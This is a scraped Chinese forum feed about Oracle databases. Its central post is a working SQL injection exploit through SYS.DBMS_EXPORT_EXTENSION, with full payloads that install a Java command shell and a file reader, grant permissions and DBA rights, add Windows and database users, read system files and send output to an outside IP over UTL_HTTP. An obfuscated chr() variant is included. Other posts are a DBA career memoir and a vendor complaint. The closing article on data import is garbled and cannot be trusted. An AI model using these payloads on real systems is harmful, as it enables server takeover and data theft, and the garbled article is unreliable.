   Oracle XML Development Kit 10.2.0.1.0
   Oracle Text 10.2.0.1.0
   Oracle Clusterware RDBMS Files 10.2.0.1.0
   Database SQL Scripts 10.2.0.1.0
   Oracle Data Mining RDBMS Files 10.2.0.1.0
   Generic Connectivity Common Files 10.2.0.1.0
   Installation Common Files 10.2.0.1.0
   Oracle Starter Database 10.2.0.1.0
   Sample Schema Data 10.2.0.1.0
   Oracle interMedia Locator RDBMS Files 10.2.0.1.0
   Oracle Call Interface (OCI) 10.2.0.1.0
   Oracle OLAP RDBMS Files 10.2.0.1.0
   Oracle Partitioning 10.2.0.1.0
   PL/SQL 10.2.0.1.0
   Oracle Recovery Manager 10.2.0.1.0
   Oracle Database Utilities 10.2.0.1.0
   Oracle interMedia Locator 10.2.0.1.0
   XML Parser for Java 10.2.0.1.0
   Assistant Common Files 10.2.0.1.0
   Oracle JDBC Thin Driver for JDK 1.2 10.2.0.1.0
   Oracle JDBC Thin Driver for JDK 1.4 10.2.0.1.0
   Oracle interMedia Java Advanced Imaging 10.2.0.1.0
   SQLJ Runtime 10.2.0.1.0
   XML Parser for Oracle JVM 10.2.0.1.0
   Enterprise Manager Agent DB 10.2.0.1.0
   Enterprise Manager Baseline 10.2.0.1.0
   Oracle Enterprise Manager Console DB 10.2.0.1.0
   XDK Required Support Files 10.2.0.1.0
   Agent Required Support Files 10.2.0.1.0
   DBJAVA Required Support Files 10.2.0.1.0
   LDAP Required Support Files 10.2.0.1.0
   Precompiler Required Support Files 10.2.0.1.0
   Oracle RAC Required Support Files-HAS 10.2.0.1.0
   RDBMS Required Support Files for Instant Client 10.2.0.1.0
   RDBMS Required Support Files 10.2.0.1.0
   SQL*Plus Required Support Files 10.2.0.1.0
   SSL Required Support Files for InstantClient 10.2.0.1.0
   Oracle Net Required Support Files 10.2.0.1.0
   Oracle Globalization Support 10.2.0.1.0
   Oracle Core Required Support Files 10.2.0.1.0
   Platform Required Support Files 10.2.0.1.0
   Oracle Message Gateway Common Files 10.2.0.1.0
   Enterprise Manager Agent Core 10.2.0.1.0
   Enterprise Manager Common Files 10.2.0.1.0
   Enterprise Manager Repository Core 10.2.0.1.0
   Oracle Containers for Java 10.2.0.1.0
   Enterprise Manager Repository DB 10.2.0.1.0
   Oracle LDAP administration 10.2.0.1.0
   Oracle Required Support Files 32 bit 10.2.0.0.0
   JDBC Common Files 10.2.0.1.0
   Database Workspace Manager 10.2.0.1.0
]]>
犀利的 oracle 注入技術(shù)http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2503&Page=1wangxinxin2010-12-11 11:04:20oracle注入直接取得主機(jī)cmdshell的方法。

以下的演示都是在web上的sql plus執(zhí)行的,在web注入時(shí) 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語(yǔ)句返回true值)

語(yǔ)句有點(diǎn)長(zhǎng),可能要用post提交。

以下是各個(gè)步驟:
1.創(chuàng)建包
通過(guò)注入 SYS.DBMS_EXPORT_EXTENSION 函數(shù),在oracle上創(chuàng)建Java包LinxUtil,里面兩個(gè)函數(shù),runCMD用于執(zhí)行系統(tǒng)命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長(zhǎng)度限制,可以把readFile()函數(shù)塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時(shí)把后面步驟 提到的 對(duì)readFile()的處理語(yǔ)句去掉。
------------------------------
2.賦Java權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執(zhí)行函數(shù)的權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測(cè)試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執(zhí)行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運(yùn)行結(jié)果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時(shí),要用 REPLACE() 把空格、換行符給替換掉,否則會(huì)無(wú)法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內(nèi)部變化
通過(guò)以下命令可以查看all_objects表達(dá)改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創(chuàng)建的函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結(jié)束。謹(jǐn)以此文贈(zèng)與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">[email protected]


======================================================================
測(cè)試漏洞的另一方法:
創(chuàng)建oracle帳號(hào):
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權(quán)限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號(hào):
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創(chuàng)建一個(gè)可以執(zhí)行多語(yǔ)句的函數(shù)Linx_query(),執(zhí)行成功的話返回?cái)?shù)值"1",但權(quán)限是繼承的,可能僅僅是public權(quán)限,作用似乎不大,真的要用到話可以考慮grant dba to 當(dāng)前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語(yǔ)句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創(chuàng)建用戶(除非當(dāng)前用戶有system權(quán)限,否則無(wú)法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數(shù)Linx_Query(),再建立 RunCMD2()
1.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權(quán)限,以下語(yǔ)句應(yīng)該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運(yùn)行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當(dāng)前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創(chuàng)建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創(chuàng)建函數(shù)
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權(quán)限
給用戶SYSTEM執(zhí)行權(quán)限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執(zhí)行函數(shù)
select RunCMD2('cmd /c dir') from dual
]]>
與ORACLE一起漂泊的日子http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2502&Page=1wangxinxin2010-12-11 11:03:25我花了3個(gè)月的時(shí)間找到一份軟件開(kāi)發(fā)的工作,踏入社會(huì)的第一份工作,僅僅代表著可憐的薪水和辛苦的加班,唯一的優(yōu)點(diǎn)就是能在北京,與世界一起跳動(dòng),在夢(mèng)想啟航的地方,我開(kāi)始埋頭學(xué)習(xí),開(kāi)始拼命積攢能讓我在這個(gè)世上立足的資本。那是個(gè)面向?qū)ο蟮拈_(kāi)發(fā)語(yǔ)言剛剛興起的年代,我驚詫于用VB語(yǔ)言開(kāi)發(fā)程序的神奇,它能輕而易舉的開(kāi)發(fā)出與WINDOWS界面一樣漂亮的程序。那時(shí)公司的項(xiàng)目大部分是為客戶開(kāi)發(fā)小型的信息管理系統(tǒng),因此后臺(tái)用到的都是ACCESS數(shù)據(jù)庫(kù),正當(dāng)我瘋狂補(bǔ)習(xí)SQL語(yǔ)句語(yǔ)法的時(shí)候,一位公司的同仁突然對(duì)我說(shuō):有空研究一下Oracle吧,那才是真正的數(shù)據(jù)庫(kù),是值得你研究一輩子的技術(shù)。這是我平生第一次聽(tīng)說(shuō)Oracle,當(dāng)年那位老哥好像只說(shuō)完這一句話就在我的記憶中消失不見(jiàn)了,現(xiàn)在想來(lái),這或許就是所謂的“命中注定”吧。正因?yàn)檫@句話,在我第二份工作的公司,我主動(dòng)要求給一個(gè)Oracle的DBA當(dāng)助手,開(kāi)始了我人生中的Oracle之旅,我的人生目標(biāo)第一次變得如此清晰,恰如子夜里的一盞明燈,指引著黑暗中原本無(wú)助的我——不懈前行。
表空間、控制文件、重做日志等等這些天馬流星般的名詞涌進(jìn)我的大腦,那時(shí)互聯(lián)網(wǎng)上的技術(shù)文章很少,上網(wǎng)也極其不便,我一邊向前輩請(qǐng)教,一邊暗地里買書學(xué)習(xí),那時(shí)的書籍也沒(méi)有像如今這么豐富,沒(méi)有辦法,為了挖掘更多的數(shù)據(jù)庫(kù)知識(shí),只有硬著頭皮閱讀Oracle的幫助文檔。那段時(shí)間盡管忙碌,盡管辛苦,但自己卻覺(jué)得很充實(shí),因?yàn)槲乙呀?jīng)下定決心做一個(gè)DBA。當(dāng)你滿懷希望的去做某件事時(shí),勞累似乎也不會(huì)影響你,我一直認(rèn)為精神的力量是人類最應(yīng)該引以為豪的財(cái)富。就這樣忙碌了一年,在順利通過(guò)OCP認(rèn)證考試后,我又換了工作,至此,我終于成為了一名專職的DBA。
然而管理數(shù)據(jù)庫(kù)不是研究書本,“紙上得來(lái)終覺(jué)淺,絕知此事要躬行”,在實(shí)際工作中我才真正感覺(jué)到Oracle的博大精深,有太多的問(wèn)題書本上根本從未提及,而這些問(wèn)題之于Oracle卻如滄海一粟。接下來(lái)的任務(wù)就是技術(shù)水平的提高與進(jìn)階,不要輕信任何所謂的定理,只能在不斷的實(shí)踐中自己總結(jié)。比如建立一個(gè)RAC數(shù)據(jù)庫(kù),主機(jī)環(huán)境的差異、存儲(chǔ)方式的不同都會(huì)產(chǎn)生很多不一樣的問(wèn)題,你只能靜下心來(lái)一遍一遍閱讀相關(guān)書籍,一遍一遍做實(shí)驗(yàn),同時(shí)在網(wǎng)上查閱相關(guān)的文章,把每一步的解決過(guò)程都詳細(xì)記錄下來(lái),這樣的積累才是屬于你自己的財(cái)富。一個(gè)好的DBA不在于有多高的理論知識(shí),而在于他遇到并解決過(guò)多少問(wèn)題,這其中還要有一點(diǎn)點(diǎn)的運(yùn)氣。所謂運(yùn)氣,就是你要有接觸一些主機(jī)和存儲(chǔ)設(shè)備的機(jī)會(huì),畢竟這些價(jià)值不菲的東西不是在任何地方都能讓你碰到的,任何公司都不會(huì)愿意你把他們的生產(chǎn)線當(dāng)成試驗(yàn)室。
曾經(jīng)有人問(wèn)我:什么樣的人適合做數(shù)據(jù)庫(kù)管理員呢?這是一個(gè)比較有趣的問(wèn)題,我自然而然的想到了以下這些字眼:
1.興趣。要有對(duì)數(shù)據(jù)庫(kù)本身的興趣,而不是僅把它當(dāng)成一種謀生手段。
2.謹(jǐn)慎。為人細(xì)致,日常對(duì)數(shù)據(jù)庫(kù)的操作務(wù)必謹(jǐn)慎。
3.負(fù)責(zé)。對(duì)于每天例行公事般的檢查要做到不厭其煩。
4.求知欲。保持對(duì)新知識(shí)的學(xué)習(xí)能力,觸類旁通。
以上就是我的一些經(jīng)歷和心得,倘使能對(duì)一些朋友產(chǎn)生一絲積極的影響,幸也
]]>
討論一個(gè)問(wèn)題,國(guó)內(nèi)的sap、oracle為何感覺(jué)很垃圾http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2501&Page=1wangxinxin2010-12-11 11:02:08  
oracle和sap一直以來(lái)都是管理軟件最高端的產(chǎn)品。
  
但是就管理軟件而言,為什么我感覺(jué)用友的nc和金蝶的eas要實(shí)用的多呢?
  
而每每招標(biāo),oracle和sap總給人不知所云的感覺(jué)。
  
比如說(shuō)行業(yè)的ERP解決方案,用友、金蝶總能讓你感覺(jué)到信服它,有水平。
而sap和oracle就是不知所云,總是東拉西扯。而且價(jià)格貴,實(shí)施完的效果都很不理想。
  
比如房地產(chǎn)行業(yè)的管理軟件,還有個(gè)明源公司,做的管理軟件都很務(wù)實(shí),很精細(xì)化。
  
但是oracle和sap到底是搞什么的??
它們之所以成為高端,擅長(zhǎng)的到底是什么??
  
可否這樣理解?
oracle和sap是好東西,但需要好的實(shí)施商慢慢做,才出得了好成果。
  
而國(guó)內(nèi)的那些實(shí)施商,都是垃圾。
跟國(guó)外的實(shí)施商完全無(wú)法比。
  
所以才造成了,國(guó)內(nèi)管理軟件市場(chǎng)。
  
用友和金蝶競(jìng)爭(zhēng)。
  
oracle和sap完全是騙人。]]>
新版DB2 9.7 VS Oracle IT168http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2500&Page=1wangxinxin2010-12-11 11:01:10
以下內(nèi)容含腳本,或可能導(dǎo)致頁(yè)面不正常的代碼
說(shuō)明:上面顯示的是代碼內(nèi)容。您可以先檢查過(guò)代碼沒(méi)問(wèn)題,或修改之后再運(yùn)行.
]]>
討論Oracle數(shù)據(jù)庫(kù)的數(shù)據(jù)導(dǎo)進(jìn)圓法--IT技術(shù)聯(lián)盟http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2499&Page=1wangxinxin2010-12-11 10:59:35  示例里解構(gòu)戰(zhàn)數(shù)據(jù)散
  為了演示戰(zhàn)比擬各類數(shù)據(jù)導(dǎo)進(jìn)圓法,人真訂數(shù)據(jù)導(dǎo)進(jìn)免務(wù)非將中部白件數(shù)據(jù)導(dǎo)進(jìn)到 Oracle 的CALLS里外,中部數(shù)據(jù)白件包括十萬(wàn)條吸喊外口忘錄,將遠(yuǎn) 6MB 的白件小大,詳細(xì)的數(shù)據(jù)示例如上:
82302284384,2003-04-18:13:18:58,5001,拋訴,腳機(jī)三包維建量質(zhì)
82302284385,2003-04-18:13:18:59,3352,征詢,求火冷線的號(hào)碼
82302284386,2003-04-18:13:19:01,3142,修議,刪設(shè)母接線道
  交蒙導(dǎo)進(jìn)數(shù)據(jù)的里實(shí)非 CALLS,里解構(gòu)如上:
Name Null? Type Comment
------------ --------- ------------- -----------------
CALL_ID NOT NULL NUMBER Primary key
CALL_DATE NOT NULL DATE Non-unique index
EMP_ID NOT NULL NUMBER
CALL_TYPE NOT NULL VARCHAR2(12)
DETAILS VARCHAR2(25)
   逐條數(shù)據(jù)拔進(jìn)INSERT
  數(shù)據(jù)導(dǎo)進(jìn)的最繁雙圓法便非編寫 INSERT 語(yǔ)句,將數(shù)據(jù)逐條拔進(jìn)。那類圓法只合適導(dǎo)進(jìn)長(zhǎng)質(zhì)數(shù)據(jù),如 SQL*Plus 足原創(chuàng)立某個(gè)里的類女?dāng)?shù)據(jù)。當(dāng)圓法的最小短面便非導(dǎo)進(jìn)快度慢緩,占用了小質(zhì)的 CPU 處置工夫,沒(méi)有合適小批質(zhì)數(shù)據(jù)的導(dǎo)進(jìn);而其從要劣面便非導(dǎo)進(jìn)構(gòu)念繁雙又無(wú)建改完美的彈性,沒(méi)有需求少做其它的預(yù)備便否以運(yùn)用。假如您無(wú)很少工夫出法挨收,又念合磨一上戰(zhàn) CPU,這那類圓法反合適您。
  為了取其它圓法做比擬,隱將十萬(wàn)條忘錄經(jīng)過(guò)彼圓法導(dǎo)進(jìn)到 CALLS 里外,分同長(zhǎng)耗 172 秒,其外導(dǎo)進(jìn)入程占用 CPU 工夫?yàn)?52 秒。
  逐條數(shù)據(jù)拔進(jìn) INSERT,里久有索引
  為什么下一類圓法占用了較少的 CPU 處置工夫,閉鍵非 CALLS 里外未創(chuàng)立了索引,該一條數(shù)據(jù)拔進(jìn)到里外時(shí),Oracle 需求辨別舊數(shù)據(jù)取小數(shù)據(jù)正在索引圓里非可無(wú)抵觸,異時(shí)要更舊里外的一切索引,沉單更舊索引會(huì)長(zhǎng)耗必定的工夫。果彼降下導(dǎo)進(jìn)快度的佳方法便非正在創(chuàng)立里時(shí)后沒(méi)有創(chuàng)立索引或者者正在導(dǎo)進(jìn)數(shù)據(jù)之后增除一切索引,正在中部白件數(shù)據(jù)逐條拔進(jìn)到里外先再同一創(chuàng)立里的索引。那樣導(dǎo)進(jìn)快度會(huì)降下,異時(shí)創(chuàng)立的索引也很松湊而無(wú)效,那一本則異樣失望于位圖索引(Bitmap Index)。對(duì)于于從要的戰(zhàn)獨(dú)一的閉鍵束縛(key constraints),否以使之后久時(shí)得效(disabling)或者者增除束縛去取得異樣的成效,該然那些做法會(huì)對(duì)于未經(jīng)亡正在的里的中鍵束縛發(fā)生狹小的影響,正在增除后需求通盤推敲。
  需求道亮的非,那類圓法正在里外未亡正在很少數(shù)據(jù)的狀況上沒(méi)有太開(kāi)適。例如里外未無(wú)九千萬(wàn)條數(shù)據(jù),而彼時(shí)需求逃減拔進(jìn)一千萬(wàn)條數(shù)據(jù),真際導(dǎo)進(jìn)數(shù)據(jù)儉省的工夫?qū)?huì)被沉舊創(chuàng)立一億條數(shù)據(jù)的索引所長(zhǎng)耗殆盡,那非人們沒(méi)有期望失到的解因。但非,假如要導(dǎo)進(jìn)數(shù)據(jù)的里非空的或者導(dǎo)進(jìn)的數(shù)據(jù)質(zhì)比未無(wú)的數(shù)據(jù)質(zhì)要小失少,這么導(dǎo)進(jìn)數(shù)據(jù)儉省的工夫?qū)?huì)長(zhǎng)質(zhì)用于沉舊創(chuàng)立索引,那時(shí)當(dāng)圓法才否以思索運(yùn)用。 減速索引創(chuàng)立非另一個(gè)需求思索的答題。為了加長(zhǎng)索引創(chuàng)立外排序的農(nóng)做工夫,否以正在該后會(huì)話外刪減 SORT_AREA_SIZE 參數(shù)的小大,當(dāng)參數(shù)答應(yīng)該后會(huì)話正在外亡的索引創(chuàng)立功程外施行更少的排序操縱。異樣借否以運(yùn)用 NOLOGGING 閉鍵字去加長(zhǎng)果創(chuàng)立索引而死敗的 REDO 夜志質(zhì),NOLOGGING 閉鍵字會(huì)對(duì)于的復(fù)原戰(zhàn) Standby 備用發(fā)生亮隱的影響,所以正在運(yùn)用之后要細(xì)心推敲,究竟非快度劣后借非波動(dòng)劣后。
  使用那類圓法,后增除 CALLS 里的從鍵戰(zhàn)沒(méi)有獨(dú)一的索引,然先逐條導(dǎo)進(jìn)數(shù)據(jù),完敗先沉舊創(chuàng)立索引( 里正在導(dǎo)進(jìn)數(shù)據(jù)后非空的)。當(dāng)圓法分同長(zhǎng)耗 130 秒,嘉獎(jiǎng)沉修索引的工夫,其外導(dǎo)進(jìn)入程占用 CPU 工夫?yàn)?35秒。
  那類圓法的劣面非否以減速導(dǎo)進(jìn)的快度并使索引愈加松湊無(wú)效;短面非短累通用性,該您對(duì)于里刪減舊的單純的形式元葷(索引、中鍵等)時(shí)您需求加減代碼、建改導(dǎo)進(jìn)施行順序。另中針對(duì)于 7*24 正在線請(qǐng)求的正在線導(dǎo)進(jìn)操縱時(shí),增除里的索引會(huì)對(duì)于正在線用戶的查詢無(wú)很小的功能影響,異時(shí)也要思索,從要或者獨(dú)一的閉鍵束縛條件的增除或者得效否能會(huì)影響到援用它們的中鍵的運(yùn)用。
  批質(zhì)拔進(jìn),里久有索引
